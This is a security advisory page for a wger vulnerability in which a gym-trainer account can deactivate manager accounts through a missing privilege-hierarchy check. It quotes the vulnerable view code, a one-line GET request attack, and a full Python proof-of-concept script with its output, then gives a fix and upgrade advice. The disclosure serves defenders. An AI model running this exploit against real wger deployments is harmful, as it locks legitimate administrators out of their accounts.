CVE-2026-46434: wger: Trainer Privilege Escalation - Improper Privilege Management

Published Oct 7, 2026
·
Updated

Summary

A user with only the gymtrainer permission can deactivate any account in the same gym, including gymmanager and generalgymmanager accounts. The UserDeactivateView grants access to anyone holding any one of gym.managegym, gym.managegyms, or gym.gymtrainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

python permissionrequired = ('gym.managegym', 'gym.managegyms', 'gym.gymtrainer')

WgerMultiplePermissionRequiredMixin (file: wger/utils/genericviews.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

python class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin): def haspermission(self): for permission in self.getpermissionrequired(): if self.request.user.hasperm(permission): return True # <-- ANY one permission is enough return False

The dispatch() method only verifies same-gym membership:

python def dispatch(self, request, args, kwargs): edituser = getobjector404(User, pk=self.kwargs['pk']) if ( request.user.hasperm('gym.managegym') or request.user.hasperm('gym.gymtrainer') ) and edituser.userprofile.gymid != request.user.userprofile.gymid: return HttpResponseForbidden() # NO check: is the target user more privileged than the requester? return super().dispatch(request, args, kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: getpermissionlist() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

- A gym with at least two users: one with gymmanager role (victim) and one with gymtrainer role (attacker) - Both users belong to the same gym

Attack Steps

As the trainer, simply visit: GET /en/user/<manageruserid>/deactivate

The manager's account is immediately set to isactive = False. The manager can no longer log in.

Proof of Concept Script

python #!/usr/bin/env python3 """ PoC: Trainer -> Manager Privilege Escalation (Account Deactivation) Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-269: Improper Privilege Management

Usage: python3 poc.py http://localhost:8000 """

import requests import sys import re

if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASEURL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)

BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"

MANAGERUSER = "gymmanagerpoc" MANAGERPASS = "Manager!Poc!2025" TRAINERUSER = "eviltrainerpoc" TRAINERPASS = "Trainer!Poc!2025"

BANNER = """ ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== """ print(BANNER)

---- Helper ---- def apilogin(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.statuscode == 200: return r.json().get("token") return None

def apiheaders(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}

---- Setup via Django ORM (must run inside container) ----

import os, django os.environ['DJANGOSETTINGSMODULE'] = 'settings.main' sys.path.insert(0, '/home/wger/src') django.setup()

from django.contrib.auth.models import User, Group from wger.gym.models import Gym

Ensure permission groups exist for name in ['gymmember', 'gymtrainer', 'gymmanager', 'generalgymmanager']: Group.objects.getorcreate(name=name)

Create gym gym, = Gym.objects.getorcreate(name="PoC Test Gym") print(f"[] Gym: {gym.name} (id={gym.id})")

Create manager (the VICTIM) manager, created = User.objects.getorcreate( username=MANAGERUSER, defaults={"isactive": True} ) if created: manager.setpassword(MANAGERPASS) manager.save() manager.userprofile.gym = gym manager.userprofile.save() manager.groups.clear() manager.groups.add(Group.objects.get(name='gymmanager')) manager.isactive = True manager.save() print(f"[] Manager (victim): {manager.username} (id={manager.id})") print(f" Groups: {[g.name for g in manager.groups.all()]}") print(f" isactive: {manager.isactive}")

Create trainer (the ATTACKER) trainer, created = User.objects.getorcreate( username=TRAINERUSER, defaults={"isactive": True} ) if created: trainer.setpassword(TRAINERPASS) trainer.save() trainer.userprofile.gym = gym trainer.userprofile.save() trainer.groups.clear() trainer.groups.add(Group.objects.get(name='gymtrainer')) print(f"[] Trainer (attacker): {trainer.username} (id={trainer.id})") print(f" Groups: {[g.name for g in trainer.groups.all()]}")

---- 1. Verify manager is active BEFORE attack ----

manager.refreshfromdb() print(f"\n[] Manager isactive BEFORE attack: {manager.isactive}") assert manager.isactive, "Manager should be active before test"

---- 2. ATTACK: Trainer deactivates manager ----

print(f"\n{'='65}") print(f" ATTACK: Trainer deactivating gym manager account") print(f"{'='65}")

from django.test import Client c = Client() c.forcelogin(trainer) resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True) print(f"\n GET /en/user/{manager.id}/deactivate") print(f" (Logged in as: {TRAINERUSER} - gymtrainer only)") print(f" Response: HTTP {resp.statuscode}")

---- 3. VERIFY ----

print(f"\n{'='65}") print(f" VERIFICATION") print(f"{'='65}")

manager.refreshfromdb() print(f"\n Manager isactive AFTER attack: {manager.isactive}")

if not manager.isactive: print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gymtrainer successfully deactivated a gymmanager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+ """) manager.isactive = True manager.save() print(" [+] Cleanup: Manager re-activated") else: print("\n Manager is still active - NOT vulnerable")

Proof of Concept Output

===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management =====================================================================

[] Gym: PoC Test Gym (id=2) [] Manager (victim): gymmanagerpoc (id=4) Groups: ['gymmanager'] isactive: True [] Trainer (attacker): eviltrainerpoc (id=5) Groups: ['gymtrainer']

[] Manager isactive BEFORE attack: True

================================================================= ATTACK: Trainer deactivating gym manager account =================================================================

Trainer login: HTTP 200 GET http://localhost/en/user/4/deactivate (Logged in as: eviltrainerpoc - gymtrainer only) Response: HTTP 200

================================================================= VERIFICATION =================================================================

Manager isactive AFTER attack: False

+----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gymtrainer successfully deactivated a gymmanager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+

[+] Cleanup: Manager re-activated

Impact

1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions. 2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a generalgymmanager (superadmin) or a Django superuser manually re-activates their accounts. 3. Abuse Chain: Since getpermissionlist() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.

Fix

Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():

python File: wger/core/views/user.py, inside dispatch() of both views

edituser = getobjector404(User, pk=self.kwargs['pk'])

Trainers must not deactivate/activate managers or other trainers if request.user.hasperm('gym.gymtrainer') and not ( request.user.hasperm('gym.managegym') or request.user.hasperm('gym.managegyms') ): if ( edituser.hasperm('gym.managegym') or edituser.hasperm('gym.managegyms') or edituser.hasperm('gym.gymtrainer') ): return HttpResponseForbidden()

Other sources

wger is a free, open-source workout and fitness manager. Prior to version 2.6, a user with only the gymtrainer permission can deactivate any account in the same gym, including gymmanager and generalgymmanager accounts. The UserDeactivateView grants access to anyone holding any one of gym.managegym, gym.managegyms, or gym.gymtrainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Version 2.6 fixes the issue.

— MITRE

Affected Software

2 affected components
wger wger<2.6
pip/wger<=2.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade wger to a version that resolves this vulnerability.

    Fixed in 2.6

Event History

Oct 7, 2026
CVE Published
via MITRE·01:55 PM
Data Sourced
via MITRE·01:55 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·01:59 PM
Data Sourced
via GitHub·01:59 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via NVD·02:17 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Which users can exploit this issue?

Any authenticated user who has the gym_trainer permission can exploit it. The permission check uses OR logic, so gym_trainer alone is sufficient even without gym.manage_gym or gym.manage_gyms.

2

Which accounts can be targeted?

The attacker can deactivate accounts that belong to the same gym, including users with gym_manager and general_gym_manager roles. The affected view checks same-gym membership but does not enforce a privilege hierarchy.

3

How can I determine whether my deployment is exposed?

Review access to UserDeactivateView and the implementation of WgerMultiplePermissionRequiredMixin. The deployment is exposed if gym.gym_trainer is accepted as one of the permissions for that view and no check prevents a trainer from deactivating higher-privileged users in the same gym.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203